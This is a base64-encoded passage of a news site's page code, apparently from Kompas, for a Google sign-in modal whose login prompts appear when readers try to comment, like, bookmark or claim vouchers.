hc3M9Im5zbTdCYi1IelY3bS1MZ2JzU2UtYk45N1BjLXNNNU1OYiAiPjxkaXYgY2xhc3M9Im5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJjLWhhQWNsZiI+PGRpdiBjbGFzcz0ibnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmMiPjxzdmcgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0OCA0OCIgY2xhc3M9IkxnYnNTZS1CejExMmMiPjxnPjxwYXRoIGZpbGw9IiNFQTQzMzUiIGQ9Ik0yNCA5LjVjMy41NCAwIDYuNzEgMS4yMiA5LjIxIDMuNmw2Ljg1LTYuODVDMzUuOSAyLjM4IDMwLjQ3IDAgMjQgMCAxNC42MiAwIDYuNTEgNS4zOCAyLjU2IDEzLjIybDcuOTggNi4xOUMxMi40MyAxMy43MiAxNy43NCA5LjUgMjQgOS41eiI+PC9wYXRoPjxwYXRoIGZpbGw9IiM0Mjg1RjQiIGQ9Ik00Ni45OCAyNC41NWMwLTEuNTctLjE1LTMuMDktLjM4LTQuNTVIMjR2OS4wMmgxMi45NGMtLjU4IDIuOTYtMi4yNiA1LjQ4LTQuNzggNy4xOGw3LjczIDZjNC41MS00LjE4IDcuMDktMTAuMzYgNy4wOS0xNy42NXoiPjwvcGF0aD48cGF0aCBmaWxsPSIjRkJCQzA1IiBkPSJNMTAuNTMgMjguNTljLS40OC0xLjQ1LS43Ni0yLjk5LS43Ni00LjU5cy4yNy0zLjE0Ljc2LTQuNTlsLTcuOTgtNi4xOUMuOTIgMTYuNDYgMCAyMC4xMiAwIDI0YzAgMy44OC45MiA3LjU0IDIuNTYgMTAuNzhsNy45Ny02LjE5eiI+PC9wYXRoPjxwYXRoIGZpbGw9IiMzNEE4NTMiIGQ9Ik0yNCA0OGM2LjQ4IDAgMTEuOTMtMi4xMyAxNS44OS01LjgxbC03LjczLTZjLTIuMTUgMS40NS00LjkyIDIuMy04LjE2IDIuMy02LjI2IDAtMTEuNTctNC4yMi0xMy40Ny05LjkxbC03Ljk4IDYuMTlDNi41MSA0Mi42MiAxNC42MiA0OCAyNCA0OHoiPjwvcGF0aD48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDQ4djQ4SDB6Ij48L3BhdGg+PC9nPjwvc3ZnPjwvZGl2PjwvZGl2PjxzcGFuIGNsYXNzPSJuc203QmItSHpWN20tTGdic1NlLUJQcldJZCI+Q29udGludWUgd2l0aCBHb29nbGU8L3NwYW4+PHNwYW4gY2xhc3M9Ikw2Y1RjZSIgaWQ9ImJ1dHRvbi1sYWJlbCI+Q29udGludWUgd2l0aCBHb29nbGUuIE9wZW5zIGluIG5ldyB0YWI8L3NwYW4+PC9kaXY+PC9kaXY+PC9kaXY+PGlmcmFtZSBzcmM9Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS9nc2kvYnV0dG9uP3R5cGU9c3RhbmRhcmQmYW1wO3NoYXBlPXJlY3Rhbmd1bGFyJmFtcDt0aGVtZT1maWxsZWRfYmx1ZSZhbXA7dGV4dD1jb250aW51ZV93aXRoJmFtcDtzaXplPWxhcmdlJmFtcDtsb2dvX2FsaWdubWVudD1sZWZ0JmFtcDtpc19mZWRjbV9zdXBwb3J0ZWQ9dHJ1ZSZhbXA7Y2xpZW50X2lkPTc3NjgyODgxMzM1OC1pbmZrNHNqZTNxMDdzYThtZzhuNmxxMW1rMnBka2t1YS5hcHBzLmdvb2dsZXVzZXJjb250ZW50LmNvbSZhbXA7aWZyYW1lX2lkPWdzaV8xMzlfODUxMDEwJmFtcDtjYXM9WlZVYjhXbUp3S2RKUW5NaTBlOTdHN2ZsUXIlMkJhZ2c1QTZvMTZ6ZlpTSjE4IiBjbGFzcz0iTDVGbzZjLVBRYkxHZSIgYWxsb3c9ImlkZW50aXR5LWNyZWRlbnRpYWxzLWdldCIgaWQ9ImdzaV8xMzlfODUxMDEwIiB0aXRsZT0iU2lnbiBpbiB3aXRoIEdvb2dsZSBCdXR0b24iIHN0eWxlPSJkaXNwbGF5OiBibG9jazsgcG9zaXRpb246IHJlbGF0aXZlOyB0b3A6IDBweDsgbGVmdDogMHB4OyBoZWlnaHQ6IDBweDsgd2lkdGg6IDBweDsgYm9yZGVyOiAwcHg7Ij48L2lmcmFtZT48L2Rpdj48L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ia2dPbmUyIiBzdHlsZT0iZGlzcGxheTpub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Imdvb2dsZUxnbkJ0biI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPCEtLSBzY3JlZW4gMSAtLT4KCiAgICAgICAgICAgICAgICA8IS0tIHNjcmVlbiAyIC0tPgoKICAgICAgICAgICAgICAgIDwhLS0gc2NyZWVuIDMgLS0+CgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2dtTW9kYWwtZGl2aWRlciAtY2xlYW4iPjxzcGFuPmF0YXU8L3NwYW4+PC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtnbU1vZGFsLW1ldGhvZCI+CiAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL2FjY291bnQua29tcGFzLmNvbS9sb2dpbi9hMjl0Y0dGei9hSFIwY0hNNkx5OTNkM2N1YTI5dGNHRnpMbU52YlM5cVlYZGhMV0poY21GMEwzSmxZV1F2TWpBeU5TOHdPUzh3TkM4eE56SXdNREF6T0RndmEyOXRjRzlzTFdOdmMyMWhjeTFrYVhCbFkyRjBMWFJwWkdGckxXaHZjbTFoZEMxd1pYSnVZV2d0ZEdWeWMyVnlaWFF0YTJGemRYTXRjR1Z1ZVdseVlXMWhiZz09Ij5HdW5ha2FuIG1ldG9kZSBsYWluPC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC1mb290ZXIiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJrZ21Nb2RhbC1pbmZvIj5EZW5nYW4gbG9naW4sIGthbXUgbWVueWV0dWp1aSA8YSBocmVmPSJodHRwczovL3d3dy5rZ21lZGlhLmlkL2xlZ2FsLXByaXZhY3ktaWQiIHRhcmdldD0iX2JsYW5rIj5LZWJpamFrYW4gRGF0YSBQcmliYWRpPC9hPjwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjwvc2VjdGlvbj4KCjxzY3JpcHQgYXN5bmM9IiIgc3JjPSJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vZ3NpL2NsaWVudCIgZGVmZXIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgdmFyIHVybF9jb250aW51ZSA9ICI8Pz0gJGNhbm9uaWNhbCA/PiI7CiAgICAKICAgIGZ1bmN0aW9uIG9uZVRhcFNob3codGlwZT0nJykgewogICAgICAgIGxldCBvdGQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwJykKICAgICAgICBpZighIW90ZCkgewogICAgICAgICAgICBsZXQga2dPbmUxID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnT25lMScpOwogICAgICAgICAgICBsZXQga2dPbmUyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnT25lMicpOwogICAgICAgICAgICBrZ09uZTIuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgICAgICAgICAga2dPbmUxLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwoKICAgICAgICAgICAgb3RkLmNsYXNzTGlzdC5yZW1vdmUoJy1oaWRlJyk7CiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LmFkZCgnLWxvY2tlZCcpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBvbmVUYXBIaWRlKCkgewogICAgICAgIGxldCBvdGQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwJykKICAgICAgICBpZighIW90ZCkgewogICAgICAgICAgICBvdGQuY2xhc3NMaXN0LmFkZCgnLWhpZGUnKTsKICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5jbGFzc0xpc3QucmVtb3ZlKCctbG9ja2VkJyk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGhpZGVCdXR0b25DbG9zZSgpewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC1vbmV0YXAtY2xvc2UtdGFnJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwLWNsb3NlLXBhZ2UnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC1vbmV0YXAtY2xvc2UtaXRlcmFjdGlvbicpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICB9CgogICAgLy8gICAgIC8vIC8vIHN0YXJ0IGFsbCBrYW5hbCB0YWcgcnVsZQogICAgLy8gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnRhZ19fYXJ0aWNsZV9fbGluayIpLmZvckVhY2goZWxlbWVudCA9PiBlbGVtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZXZlbnQgPT4gewogICAgLy8gICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCkKICAgIC8vICAgICBoaWRlQnV0dG9uQ2xvc2UoKTsKICAgIC8vICAgICB2YXIga2dtTW9kYWxPbmVUYXBDbG9zZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC1vbmV0YXAtY2xvc2UtdGFnJyk7CiAgICAvLyAgICAga2dtTW9kYWxPbmVUYXBDbG9zZS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsKICAgIC8vICAgICBrZ21Nb2RhbE9uZVRhcENsb3NlLmRhdGFzZXQudXJsID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoImhyZWYiKTsKICAgIC8vICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ19pZF9vbmxvYWQnKS5kYXRhc2V0LmNvbnRpbnVlID0gYnRvYSh1cmxfY29udGludWUrJz9sZ25fc291cmNlPWtnb25ldGFwJmxnbl90cmlnZ2VyPXRhZ3NfYnRuJykKICAgIC8vICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtdGl0bGUnKS5pbm5lckhUTUwgPSAnQmFjYSBiZXJpdGEgYmVydG9waWsgc2VydXBhIGRlbmdhbiBsb2dpbiBtZW5nZ3VuYWthbiBha3VuIGthbXUnOwogICAgLy8gICAgIHZhciBzY3JpcHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsKICAgIC8vICAgICAoc2NyaXB0LnNyYyA9ICJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vZ3NpL2NsaWVudCIpLCAoc2NyaXB0LmRlZmVyID0gITApLCAoc2NyaXB0LmFzeW5jID0gITApLCBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CiAgICAvLyAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcCcpLmRhdGFzZXQuZXZlbnRMYWJlbCA9ICdUYWdzIEJ1dHRvbic7CiAgICAvLyAgICAgb25lVGFwU2hvdygpOwogICAgLy8gfSkpOwoKICAgIC8vIGxldCBrZ21Nb2RhbE9uZVRhcENsb3NlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcC1jbG9zZS10YWcnKTsKICAgIC8vIGlmICghIWtnbU1vZGFsT25lVGFwQ2xvc2UpIHsKICAgIC8vICAgICBrZ21Nb2RhbE9uZVRhcENsb3NlLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24gKGUpIHsKICAgIC8vICAgICAgICAgdmFyIHVybF90YWcgPSBrZ21Nb2RhbE9uZVRhcENsb3NlLmRhdGFzZXQudXJsOwogICAgLy8gICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IHVybF90YWc7CiAgICAvLyAgICAgfSk7CiAgICAvLyB9CiAgICAvLyAvLyBlbmQgYWxsIGthbmFsIHRhZyBydWxlCiAgICAvLyAKICAgIC8vIHN0YXJ0IGZvb2QgdGFnIHJ1bGUKICAgIGxldCBwYWdlU2hvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzaG93X2FsbCcpOwogICAgaWYgKCEhcGFnZVNob3cpIHsKICAgICAgICBwYWdlU2hvdy5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uIChlKSB7CiAgICAgICAgICAgIGhpZGVCdXR0b25DbG9zZSgpOwogICAgICAgICAgICB2YXIga2dtTW9kYWxPbmVUYXBQYWdlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcC1jbG9zZS1wYWdlJyk7CiAgICAgICAgICAgIGtnbU1vZGFsT25lVGFwUGFnZS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2dfaWRfb25sb2FkJykuZGF0YXNldC5jb250aW51ZSA9IGJ0b2EodXJsX2NvbnRpbnVlKyc/bGduX3NvdXJjZT1rZ29uZXRhcCZsZ25fdHJpZ2dlcj1zZWVhbGxfYnRuJyk7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC10aXRsZScpLmlubmVySFRNTCA9ICdMb2dpbiB1bnR1ayBha3NlcyBiYWNhIGxlYmloIGxlbmdrYXAnOwogICAgICAgICAgICB2YXIgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7CiAgICAgICAgICAgIChzY3JpcHQuc3JjID0gImh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS9nc2kvY2xpZW50IiksIChzY3JpcHQuZGVmZXIgPSAhMCksIChzY3JpcHQuYXN5bmMgPSAhMCksIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcCcpLmRhdGFzZXQuZXZlbnRMYWJlbCA9ICdTZWUgQWxsIEJ1dHRvbic7CiAgICAgICAgICAgIG9uZVRhcFNob3coKTsKICAgICAgICB9KTsKICAgIH0KCiAgICAkKGRvY3VtZW50KS5vbigiY2xpY2siLCAiI2NvbW1lbnRGb3JtTG9naW4iLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIga29tZW50YXJfdXJsID0gJCh0aGlzKS5kYXRhKCdrb21lbnRhci11cmwnKTsKICAgICAgICBoaWRlQnV0dG9uQ2xvc2UoKTsKICAgICAgICB2YXIga2dtTW9kYWxPbmVUYXBQYWdlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcC1jbG9zZS1wYWdlJyk7CiAgICAgICAga2dtTW9kYWxPbmVUYXBQYWdlLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnX2lkX29ubG9hZCcpLmRhdGFzZXQuY29udGludWUgPSBidG9hKGtvbWVudGFyX3VybCArICc/bGduX3NvdXJjZT1rZ29uZXRhcCZsZ25fdHJpZ2dlcj1jb21tZW50X2FydGljbGUnKTsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtdGl0bGUnKS5pbm5lckhUTUwgPSAnTG9naW4gdW50dWsgbWVueWFtcGFpa2FuIGtvbWVudGFybXUuJzsKICAgICAgICB2YXIgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7CiAgICAgICAgKHNjcmlwdC5zcmMgPSAiaHR0cHM6Ly9hY2NvdW50cy5nb29nbGUuY29tL2dzaS9jbGllbnQiKSwgKHNjcmlwdC5kZWZlciA9ICEwKSwgKHNjcmlwdC5hc3luYyA9ICEwKSwgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC1vbmV0YXAnKS5kYXRhc2V0LmV2ZW50TGFiZWwgPSAnQ29tbWVudCBBcnRpY2xlJzsKICAgICAgICBvbmVUYXBTaG93KCk7CiAgICB9KTsKCiAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiAgICAgICAgY29uc3QgZWxlbWVudEtnT25lVGFwQWN0aW9uID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnW2RhdGEta2dvbmV0YXAtYWN0aW9uXScpOwogICAgICAgIGlmICghIWVsZW1lbnRLZ09uZVRhcEFjdGlvbikgewogICAgICAgICAgICBlbGVtZW50S2dPbmVUYXBBY3Rpb24uZm9yRWFjaChmdW5jdGlvbihlbCkgewogICAgICAgICAgICAgICAgZWwuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBjb25zdCBrZ09uZVRhcEFjdGlvbiA9IGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1rZ29uZXRhcC1hY3Rpb24nKTsKICAgICAgICAgICAgICAgICAgICBsZXQga2dPbmVUYXBUaXRsZSA9ICdMb2dpbiB1bnR1ayBtZW55YW1wYWlrYW4ga29tZW50YXJtdS4nOwogICAgICAgICAgICAgICAgICAgIGxldCBsZ25UcmlnZ2VyID0gJyc7CiAgICAgICAgICAgICAgICAgICAgbGV0IGV2ZW50TGFiZWwgPSAnU2VlIEFsbCBCdXR0b24nOwoKICAgICAgICAgICAgICAgICAgICBpZiAoa2dPbmVUYXBBY3Rpb24gPT0gJ0NPTU1FTlRfUE9TVCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAga2dPbmVUYXBUaXRsZSA9ICdMb2dpbiB1bnR1ayBtZW55YW1wYWlrYW4ga29tZW50YXJtdS4nOwogICAgICAgICAgICAgICAgICAgICAgICBsZ25UcmlnZ2VyID0gJ2NvbW1lbnRfcG9zdF9idG4nOwogICAgICAgICAgICAgICAgICAgICAgICBldmVudExhYmVsID0gJ0NvbW1lbnQgUG9zdCBCdXR0b24nOwoKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGtnT25lVGFwQWN0aW9uID09ICdDT01NRU5UX0xJS0UnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGtnT25lVGFwVGl0bGUgPSAnTG9naW4gdW50dWsgbWVueXVrYWkga29tZW50YXIgaW5pJzsKICAgICAgICAgICAgICAgICAgICAgICAgbGduVHJpZ2dlciA9ICdjb21tZW50X2xpa2VfYnRuJzsKICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRMYWJlbCA9ICdDb21tZW50IExpa2UgQnV0dG9uJzsKCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChrZ09uZVRhcEFjdGlvbiA9PSAnQ09NTUVOVF9ESVNMSUtFJykgewogICAgICAgICAgICAgICAgICAgICAgICBrZ09uZVRhcFRpdGxlID0gJ0xvZ2luIHVudHVrIG1lbmFuZ2dhcGkga29tZW50YXIgaW5pJzsKICAgICAgICAgICAgICAgICAgICAgICAgbGduVHJpZ2dlciA9ICdjb21tZW50X2Rpc2xpa2VfYnRuJzsKICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRMYWJlbCA9ICdDb21tZW50IERpc2lrZSBCdXR0b24nOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGtnT25lVGFwQWN0aW9uID09ICdDT01NRU5UX1JFUExZJykgewogICAgICAgICAgICAgICAgICAgICAgICBrZ09uZVRhcFRpdGxlID0gJ0xvZ2luIHVudHVrIG1lbWJhbGFzIGtvbWVudGFyIGluaSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGxnblRyaWdnZXIgPSAnY29tbWVudF9yZXBseV9idG4nOwogICAgICAgICAgICAgICAgICAgICAgICBldmVudExhYmVsID0gJ0NvbW1lbnQgUmVwbHkgQnV0dG9uJzsKCiAgICAgICAgICAgICAgICAgICAgICAgIGVsLnF1ZXJ5U2VsZWN0b3IoJy5jb21tZW50QnV0dG9uJykudGV4dENvbnRlbnQgPSAnQmFsYXMnOwogICAgICAgICAgICAgICAgICAgICAgICBlbC5jbG9zZXN0KCcuY29tbWVudEl0ZW0nKS5xdWVyeVNlbGVjdG9yKCcucmVwbHlfZm9ybScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChrZ09uZVRhcEFjdGlvbiA9PSAnTVlWQUxVRV9DTEFJTScpIHsKICAgICAgICAgICAgICAgICAgICAgICAga2dPbmVUYXBUaXRsZSA9ICdMb2dpbiB1bnR1ayBtZW5kYXBhdGthbiB2b3VjaGVyJzsKICAgICAgICAgICAgICAgICAgICAgICAgbGduVHJpZ2dlciA9ICdjbGFpbV92b3VjaGVyX2J1dHRvbic7CiAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50TGFiZWwgPSAnQ2xhaW0gVm91Y2hlciBCdXR0b24nOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgaGlkZUJ1dHRvbkNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgdmFyIGtnbU1vZGFsT25lVGFwUGFnZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC1vbmV0YXAtY2xvc2UtcGFnZScpOwogICAgICAgICAgICAgICAgICAgIGtnbU1vZGFsT25lVGFwUGFnZS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ19pZF9vbmxvYWQnKS5kYXRhc2V0LmNvbnRpbnVlID0gYnRvYSh1cmxfY29udGludWUrJz9sZ25fc291cmNlPWtnb25ldGFwJmxnbl90cmlnZ2VyPScgKyBsZ25UcmlnZ2VyKTsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtdGl0bGUnKS5pbm5lckhUTUwgPSBrZ09uZVRhcFRpdGxlOwogICAgICAgICAgICAgICAgICAgIHZhciBzY3JpcHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsKICAgICAgICAgICAgICAgICAgICAoc2NyaXB0LnNyYyA9ICJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vZ3NpL2NsaWVudCIpLCAoc2NyaXB0LmRlZmVyID0gITApLCAoc2NyaXB0LmFzeW5jID0gITApLCBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgZGF0YUV2ZW50TGFiZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwJyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEhZGF0YUV2ZW50TGFiZWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZGF0YUV2ZW50TGFiZWwuZGF0YXNldC5ldmVudExhYmVsID0gZXZlbnRMYWJlbDsKICAgICAgICAgICAgICAgICAgICAgICAgY29uc3Qgb3RoZXJEYXRhRXZlbnRMYWJlbCA9IGRhdGFFdmVudExhYmVsLnF1ZXJ5U2VsZWN0b3JBbGwoJ1tkYXRhLWV2ZW50LWxhYmVsXScpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISFvdGhlckRhdGFFdmVudExhYmVsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdGhlckRhdGFFdmVudExhYmVsLmZvckVhY2goZnVuY3Rpb24obGFiZWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYWJlbC5kYXRhc2V0LmV2ZW50TGFiZWwgPSBldmVudExhYmVsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIG9uZVRhcFNob3coKTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9KQogICAgLy8gc3RhcnQgcmVhY3Rpb24gcnVsZQogICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnJlYWN0aW9uSXRlcmF0aW9uIikuZm9yRWFjaChlbGVtZW50ID0+IGVsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBldmVudCA9PiB7CiAgICAgICAgCiAgICAgICAgaGlkZUJ1dHRvbkNsb3NlKCk7CgogICAgICAgIHZhciBrZ21Nb2RhbE9uZVRhcEl0ZXJhY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwLWNsb3NlLWl0ZXJhY3Rpb24nKTsKICAgICAgICBrZ21Nb2RhbE9uZVRhcEl0ZXJhY3Rpb24uc3R5bGUuZGlzcGxheSA9ICJibG9jayI7CgogICAgICAgIHZhciB0cmlnZ2VyX3RvdWNoX3BvaW50ID0gJ2NsaWNrX2xpa2UnOwogICAgICAgIHZhciBsYWJlbCA9ICdMaWtlJzsKICAgICAgICB2YXIgdGl0bGUgPSAnU3VrYSBrb250ZW4gaW5pPyBMb2dpbiB1bnR1ayBtZW55aW1wYW4gcHJlZmVyZW5zaW11JzsKCiAgICAgICAgaWYoZWxlbWVudC5kYXRhc2V0LnR0cD09J2Rpc2xpa2UnKXsKICAgICAgICAgICAgdHJpZ2dlcl90b3VjaF9wb2ludCA9ICdjbGlja19kaXNsaWtlJzsKICAgICAgICAgICAgbGFiZWwgPSAnRGlzbGlrZSc7CiAgICAgICAgICAgIHRpdGxlID0gJ0t1cmFuZyBzdWthIGtvbnRlbiBpbmk/IExvZ2luIHVudHVrIG1lbnlpbXBhbiBwcmVmZXJlbnNpbXUnOwogICAgICAgIH1lbHNlIGlmKGVsZW1lbnQuZGF0YXNldC50dHA9PSdib29rbWFyaycpewogICAgICAgICAgICB0cmlnZ2VyX3RvdWNoX3BvaW50ID0gJ2NsaWNrX2Jvb2ttYXJrJzsKICAgICAgICAgICAgbGFiZWwgPSAnQm9va21hcmsnOwogICAgICAgICAgICB0aXRsZSA9ICdMb2dpbiB1bnR1ayBzaW1wYW4gZGFuIGJhY2EgbmFudGknOwogICAgICAgIH1lbHNlIGlmKGVsZW1lbnQuZGF0YXNldC50dHA9PSdsaWtlX2NvbW1lbnQnKXsKICAgICAgICAgICAgdHJpZ2dlcl90b3VjaF9wb2ludCA9ICdjbGlja19saWtlX2NvbW1lbnQnOwogICAgICAgICAgICBsYWJlbCA9ICdMaWtlIENvbW1lbnQnCiAgICAgICAgICAgIHRpdGxlID0gJ0xvZ2luIHVudHVrIGthc2loIGplbXBvbCBidWF0IGtvbWVudGFyIGluaS4nOwogICAgICAgIH0gZWxzZSBpZihlbGVtZW50LmRhdGFzZXQudHRwPT0nZGlzbGlrZV9jb21tZW50Jyl7CiAgICAgICAgICAgIHRyaWdnZXJfdG91Y2hfcG9pbnQgPSAnY2xpY2tfZGlzbGlrZV9jb21tZW50JzsKICAgICAgICAgICAgbGFiZWwgPSAnRGlzbGlrZSBDb21tZW50JwogICAgICAgICAgICB0aXRsZSA9ICdUaWRhayBzZXR1anUgZGVuZ2FuIGtvbWVudGFyIGluaT8gTG9naW4gdW50dWsgaWt1dCBtZW5hbmdnYXBpJzsKICAgICAgICB9CgogICAgICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnX2lkX29ubG9hZCcpLmRhdGFzZXQuY29udGludWUgPSBidG9hKHVybF9jb250aW51ZSsnP2xnbl9zb3VyY2U9a2dvbmV0YXAmbGduX3RyaWdnZXI9Jyt0cmlnZ2VyX3RvdWNoX3BvaW50KQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdrZ21Nb2RhbC10aXRsZScpLmlubmVySFRNTCA9IHRpdGxlOwogICAgICAgIC8vIHZhciBzY3JpcHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsKICAgICAgICAvLyAoc2NyaXB0LnNyYyA9ICJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vZ3NpL2NsaWVudCIpLCAoc2NyaXB0LmRlZmVyID0gITApLCAoc2NyaXB0LmFzeW5jID0gITApLCBk